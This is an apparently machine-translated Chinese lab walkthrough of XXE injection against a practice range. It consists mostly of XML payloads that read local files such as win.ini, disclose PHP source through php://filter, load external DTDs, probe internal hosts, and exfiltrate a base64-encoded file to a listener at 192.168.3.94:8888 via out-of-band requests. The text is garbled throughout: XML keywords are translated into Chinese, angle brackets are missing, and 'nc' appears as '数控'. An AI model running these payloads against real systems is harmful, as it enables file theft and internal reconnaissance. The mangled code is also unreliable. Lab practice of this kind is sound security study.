PICK-xxe注入
1.POC:攻击测试
?xml 版本=\’1.0\’?
!DOCTYPE foo [
!ENTITY xxe ‘仙女’
]
fooxxe;/foo
!– 定义实体xxe 值为“fairy”–
!– 使用实体xxe 并打印其值–
2.EXP:查看文件
?xml 版本=\’1.0\’?
!DOCTYPE foo [
!ENTITY xxe 系统\’file:///D:/1234.txt\’
]
fooxxe;/foo
3.EXP:查看源码
创建PHP 文件
?php
phpinfo();
?
?xml 版本=\’1.0\’?
!DOCTYPE foo [
!ENTITY xxe 系统\’php://filter/convert.base64-encode/resource=D:/1.php\’
]
fooxxe;/foo
!– 定义外部实体xxe来读取指定本地文件并进行base64编码–
4.EXP:DTD外部调用
创建一个DTD文件:
!ENTITY 邪恶系统\’file:///C:/windows/system.ini\’
!ENTITY 邪恶系统\’file:///C:/windows/win.ini\’
输入框输入:
!DOCTYPE foo[
!元素foo 任意
!实体%xxe系统\’http://127.0.0.1/1dtd\’%xxe;
]
坏人;/fuu
5.EXP:探测内网存活主机与开放端口
开启监听端口
数控-lvvp 8888
编写代码
返回虚拟机主机信息
这个地址就是虚拟机的地址。
?xml 版本=\’1.0\’ 编码=\’UTF-8\’?
!DOCTYPE foo [
!元素foo 任何
!实体兔子系统\’http://192.168.3.94:8888\’]
x兔子;/x
6.EXP:无回显值
这个问题没有echo 值,所以我会在本地假设1234.txt 是服务器的标志(如果您有服务器,请使用它)。服务器)。
Kali作为监听端口,通过传递数据包中的参数(在请求体中的URL/post后获取)来检索没有回显位置的数据。
用虚拟机进行端口监听,获得数据包,
检查是否可以成功ping 通主机和虚拟机。如果没有,请关闭防火墙。
python2 -m SimpleHTTPServer 8888/nc -lvvp 8888
创建DTD,访问kali端口,数据包通过此端口
!ENTITY % start \’!ENTITY #x25; 发送SYSTEM \’http://192.168.3.94:8888/?%file;\’\’
开始;
调用DTD,得到本机上base64flag值
?xml 版本=\’1.0\’?
!DOCTYPE 消息[
!ENTITY % 远程系统\’http://127.0.0.1/2.dtd\’
!ENTITY % 文件系统\’php://filter/read=convert.base64-encode/resource=file:///D:/1234.txt\’ %remote;
发送;]
解码
我发现flag的值
以上有关#PICK的相关内容来源仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93778.html